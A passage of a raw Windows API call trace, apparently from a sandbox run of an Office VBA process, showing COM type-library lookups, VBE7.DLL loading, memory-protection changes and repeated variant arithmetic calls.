lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4760, pBstrName=0x0, pwOrdinal=0xbcb38f4780 | out: pBstrDllName=0xbcb38f4760*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4780*=0x49f0) returned 0x0 [0071.750] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000) returned 0x0 [0071.751] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f40b0, pIndex=0x0 | out: ppTLib=0xbcb38f40b0*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.751] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f40c0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f40c0, pDummy=0x0) returned 0x0 [0071.751] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.751] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.751] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f40b0, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.751] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f40b0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0 | out: pBstrDllName=0xbcb38f40b0*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0*=0x4340) returned 0x0 [0071.751] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000) returned 0x0 [0071.751] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4590, pIndex=0x0 | out: ppTLib=0xbcb38f4590*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.751] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f45a0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f45a0, pDummy=0x0) returned 0x0 [0071.751] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.751] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.751] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4590, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.751] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4590, pBstrName=0x0, pwOrdinal=0xbcb38f45b0 | out: pBstrDllName=0xbcb38f4590*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f45b0*=0x4820) returned 0x0 [0071.751] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000) returned 0x0 [0071.751] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629828, ppTLib=0xbcb38f4800, pIndex=0x0 | out: ppTLib=0xbcb38f4800*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.751] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4810, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4810, pDummy=0x0) returned 0x0 [0071.751] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.751] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.751] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0xb38f4800, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.751] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4800, pBstrName=0x0, pwOrdinal=0xbcb38f4820 | out: pBstrDllName=0xbcb38f4800*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4820*=0x4a90) returned 0x0 [0071.751] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4800, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4800, pwOrdinal=0x500000000) returned 0x0 [0071.751] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629720, ppTLib=0xbcb38f4800, pIndex=0x0 | out: ppTLib=0xbcb38f4800*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.751] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4810, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4810, pDummy=0x0) returned 0x0 [0071.751] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.752] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.752] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629720, memid=1610612754, invkind=1, refPtrFlags=0xb38f4800, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.752] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629720, memid=1610612754, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4800, pBstrName=0x0, pwOrdinal=0xbcb38f4820 | out: pBstrDllName=0xbcb38f4800*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4820*=0x4a90) returned 0x0 [0071.752] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629720, memid=1610612754, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4800, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4800, pwOrdinal=0x500000000) returned 0x0 [0071.752] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d676580, cb=0x618) returned 0x2885d7a28c0 [0071.752] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629828, ppTLib=0xbcb38f46f0, pIndex=0x0 | out: ppTLib=0xbcb38f46f0*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.752] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4700, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4700, pDummy=0x0) returned 0x0 [0071.752] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.752] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.752] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0xb38f46f0, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.752] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f46f0, pBstrName=0x0, pwOrdinal=0xbcb38f4710 | out: pBstrDllName=0xbcb38f46f0*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4710*=0x4980) returned 0x0 [0071.752] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f46f0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f46f0, pwOrdinal=0x500000000) returned 0x0 [0071.752] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885da99c80, cb=0x1410) returned 0x2885d554570 [0071.752] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d554570, cb=0x1366) returned 0x2885d554570 [0071.752] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885daa26b0) [0071.752] GetCurrentProcess () returned 0xffffffffffffffff [0071.752] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eb548, dwSize=0x8) returned 1 [0071.752] GetCurrentProcess () returned 0xffffffffffffffff [0071.752] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ed928, dwSize=0x8) returned 1 [0071.752] GetCurrentProcess () returned 0xffffffffffffffff [0071.752] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ed9e8, dwSize=0x8) returned 1 [0071.752] GetCurrentProcess () returned 0xffffffffffffffff [0071.752] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecd78, dwSize=0x8) returned 1 [0071.752] GetCurrentProcess () returned 0xffffffffffffffff [0071.752] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ece30, dwSize=0x8) returned 1 [0071.752] GetCurrentProcess () returned 0xffffffffffffffff [0071.752] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecee8, dwSize=0x8) returned 1 [0071.752] GetCurrentProcess () returned 0xffffffffffffffff [0071.752] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecf20, dwSize=0x8) returned 1 [0071.752] GetCurrentProcess () returned 0xffffffffffffffff [0071.752] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eac38, dwSize=0x8) returned 1 [0071.753] GetCurrentProcess () returned 0xffffffffffffffff [0071.753] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eacf0, dwSize=0x8) returned 1 [0071.753] GetCurrentProcess () returned 0xffffffffffffffff [0071.753] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eb548, dwSize=0x8) returned 1 [0071.753] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.753] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0071.753] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7ff9bdb50000 [0071.753] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba000001c1) returned 1 [0071.753] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.754] GetProcAddress (hModule=0x7ff9bdb50000, lpProcName=0x278) returned 0x7ff9bdc9f6dc [0071.754] GetCurrentProcess () returned 0xffffffffffffffff [0071.754] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d8bac18, dwSize=0x53) returned 1 [0071.754] RtlLookupFunctionEntry (in: ControlPc=0x2885d8bac18, ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10 | out: ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10) returned 0x0 [0071.754] VirtualProtect (in: lpAddress=0x2885d8bac18, dwSize=0x54, flNewProtect=0x40, lpflOldProtect=0xbcb38f4b0c | out: lpflOldProtect=0xbcb38f4b0c*=0x4) returned 1 [0071.755] RtlAddFunctionTable (FunctionTable=0x2885d8bac78, EntryCount=0x1, BaseAddress=0x2885d8bab00, TargetGp=0x40) returned 1 [0071.757] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.757] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0071.757] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7ff9bdb50000 [0071.757] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba000001c2) returned 1 [0071.757] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.758] GetProcAddress (hModule=0x7ff9bdb50000, lpProcName=0x245) returned 0x7ff9bdc9e1ec [0071.758] GetCurrentProcess () returned 0xffffffffffffffff [0071.758] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d8bacec, dwSize=0x3b) returned 1 [0071.758] RtlLookupFunctionEntry (in: ControlPc=0x2885d8bacec, ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10 | out: ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10) returned 0x0 [0071.758] VirtualProtect (in: lpAddress=0x2885d8bacec, dwSize=0x3c, flNewProtect=0x40, lpflOldProtect=0xbcb38f4b0c | out: lpflOldProtect=0xbcb38f4b0c*=0x40) returned 1 [0071.758] RtlAddFunctionTable (FunctionTable=0x2885d8bad34, EntryCount=0x1, BaseAddress=0x2885d8bac00, TargetGp=0x40) returned 1 [0071.760] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.760] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0071.760] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7ff9bdb50000 [0071.761] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba000001c3) returned 1 [0071.761] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.761] GetProcAddress (hModule=0x7ff9bdb50000, lpProcName=0x260) returned 0x7ff9bdca098c [0071.761] GetCurrentProcess () returned 0xffffffffffffffff [0071.761] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d8bd494, dwSize=0x43) returned 1 [0071.761] RtlLookupFunctionEntry (in: ControlPc=0x2885d8bd494, ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10 | out: ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10) returned 0x0 [0071.761] VirtualProtect (in: lpAddress=0x2885d8bd494, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0xbcb38f4b0c | out: lpflOldProtect=0xbcb38f4b0c*=0x4) returned 1 [0071.762] RtlAddFunctionTable (FunctionTable=0x2885d8bd4e4, EntryCount=0x1, BaseAddress=0x2885d8bd400, TargetGp=0x40) returned 1 [0071.764] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.764] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0071.764] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7ff9bdb50000 [0071.765] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba000001c4) returned 1 [0071.765] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.765] GetProcAddress (hModule=0x7ff9bdb50000, lpProcName=0x204) returned 0x7ff9bdca0e2c [0071.765] GetCurrentProcess () returned 0xffffffffffffffff [0071.765] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d8bd55c, dwSize=0x3b) returned 1 [0071.765] RtlLookupFunctionEntry (in: ControlPc=0x2885d8bd55c, ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10 | out: ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10) returned 0x0 [0071.765] VirtualProtect (in: lpAddress=0x2885d8bd55c, dwSize=0x3c, flNewProtect=0x40, lpflOldProtect=0xbcb38f4b0c | out: lpflOldProtect=0xbcb38f4b0c*=0x40) returned 1 [0071.766] RtlAddFunctionTable (FunctionTable=0x2885d8bd5a4, EntryCount=0x1, BaseAddress=0x2885d8bd500, TargetGp=0x40) returned 1 [0071.768] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.768] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0071.768] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7ff9bdb50000 [0071.768] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba000001c5) returned 1 [0071.768] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.769] GetProcAddress (hModule=0x7ff9bdb50000, lpProcName=0x2cc) returned 0x7ff9bde968d8 [0071.769] GetCurrentProcess () returned 0xffffffffffffffff [0071.769] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d8ba0d4, dwSize=0x4b) returned 1 [0071.769] RtlLookupFunctionEntry (in: ControlPc=0x2885d8ba0d4, ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10 | out: ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10) returned 0x0 [0071.769] VirtualProtect (in: lpAddress=0x2885d8ba0d4, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0xbcb38f4b0c | out: lpflOldProtect=0xbcb38f4b0c*=0x40) returned 1 [0071.769] RtlAddFunctionTable (FunctionTable=0x2885d8ba12c, EntryCount=0x1, BaseAddress=0x2885d8ba000, TargetGp=0x40) returned 1 [0071.771] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.771] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0071.771] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7ff9bdb50000 [0071.772] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba000001c6) returned 1 [0071.772] SetErrorMode (uMode=0x8001) returned 0x8001 [0071.772] GetProcAddress (hModule=0x7ff9bdb50000, lpProcName=0x288) returned 0x7ff9bdc1ce04 [0071.772] GetCurrentProcess () returned 0xffffffffffffffff [0071.772] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d8ba22c, dwSize=0x3b) returned 1 [0071.772] RtlLookupFunctionEntry (in: ControlPc=0x2885d8ba22c, ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10 | out: ImageBase=0xbcb38f4a08, HistoryTable=0xbcb38f4a10) returned 0x0 [0071.772] VirtualProtect (in: lpAddress=0x2885d8ba22c, dwSize=0x3c, flNewProtect=0x40, lpflOldProtect=0xbcb38f4b0c | out: lpflOldProtect=0xbcb38f4b0c*=0x40) returned 1 [0071.773] RtlAddFunctionTable (FunctionTable=0x2885d8ba274, EntryCount=0x1, BaseAddress=0x2885d8ba200, TargetGp=0x40) returned 1 [0071.776] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.777] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5f38 | out: ppvObject=0xbcb38f5f38*=0x0) returned 0x80004002 [0071.777] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5f30 | out: ppvObject=0xbcb38f5f30*=0x0) returned 0x80004002 [0071.777] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.777] IUnknown:AddRef (This=0x2885d6296c8) returned 0x3 [0071.777] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5f38 | out: ppvObject=0xbcb38f5f38*=0x0) returned 0x80004002 [0071.777] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5f30 | out: ppvObject=0xbcb38f5f30*=0x0) returned 0x80004002 [0071.777] IUnknown:Release (This=0x2885d6296c8) returned 0x2 [0071.777] IUnknown:AddRef (This=0x2885d629828) returned 0x3 [0071.777] IUnknown:QueryInterface (in: This=0x2885d629828, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5f38 | out: ppvObject=0xbcb38f5f38*=0x0) returned 0x80004002 [0071.777] IUnknown:QueryInterface (in: This=0x2885d629828, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5f30 | out: ppvObject=0xbcb38f5f30*=0x0) returned 0x80004002 [0071.777] IUnknown:Release (This=0x2885d629828) returned 0x2 [0071.777] IUnknown:AddRef (This=0x2885d629720) returned 0x3 [0071.777] IUnknown:QueryInterface (in: This=0x2885d629720, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5f38 | out: ppvObject=0xbcb38f5f38*=0x0) returned 0x80004002 [0071.777] IUnknown:QueryInterface (in: This=0x2885d629720, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5f30 | out: ppvObject=0xbcb38f5f30*=0x0) returned 0x80004002 [0071.777] IUnknown:Release (This=0x2885d629720) returned 0x2 [0071.777] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.777] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.777] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.777] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.777] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.777] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.778] VarAdd (in: pvarLeft=0x2885d576970, 